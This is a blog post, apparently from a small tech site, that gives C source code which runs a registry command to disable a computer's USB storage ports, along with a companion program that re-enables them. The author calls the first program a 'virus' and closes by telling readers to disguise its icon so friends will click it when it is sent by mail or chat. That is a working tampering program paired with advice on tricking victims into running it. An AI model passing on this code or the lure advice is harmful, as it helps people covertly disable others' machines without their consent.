jituTechnology

jituTechnology

A Program to block and unblock USB Ports

Here is the source code of C programming language which will block the USB ports of the computer. In other ways u can say that this is a small virus program to disable USB ports of the computer.
#include <stdio.h>
#include <conio.h>
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v     Start \/t REG_DWORD \/d 4 \/f”);
getch();
}
Now you need copy the above given C source code in your text editor of compiler like Visual C++ or Borland C++ or any other compiler which you have installed in your computer. Now compile the the given C source code and then, you will see a block_usb.exe file created in your folder. Now apter you run that block_usb.exe file (application) then all the USB ports of your computer will be blocked and it will not be able to work anymore. You can notice this effects apter you reboot your computer.
You might be afraid to run this application in your computer, if your computer USB will not work furthermore. Keeping this things i have also written a C source code to again enable your blocked USB ports. Here below is the C source code for again enable your blocked USB ports.
#include <stdio.h>
#include <conio.h>
void main()
{
system(“reg add HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\USBSTOR \/v Start \/t REG_DWORD \/d 3 \/f”);
getch();
}
Again copy these above C source code and compile with your compiler, you will see unblock_usb.exe file created in your folder. now if you will run that exe file application all the blocked USB ports of your computer will be working again.
The icon of your created exe file may not look attractive to your friends if you send them through mail. So that your friends will click on your virus program you need to change the icon of that file. Make attractive icon and then send through yahoo chat or by any means.
Add a comment

Comments (2)

  1. Malik SalasarApril 5, 2012 Reply
    It is in reality a great and useful piece of info. I am happy that you just shared this useful info with us. Please stay us informed like this. Thanks for sharing.
  2. samyamApril 7, 2012 Reply
    i tried but this program doesnt run in my codeblocks compiler. how can i fix it?

Add a comment

This site uses Akismet to reduce spam. Learn how your comment data is processed.



Connect with Me

GPO 8973 NPC 541; Kathmandu Nepal
Phone: +977 9851236800

Calendar

April 2024
S M T W T F S
 123456
78910111213
14151617181920
21222324252627
282930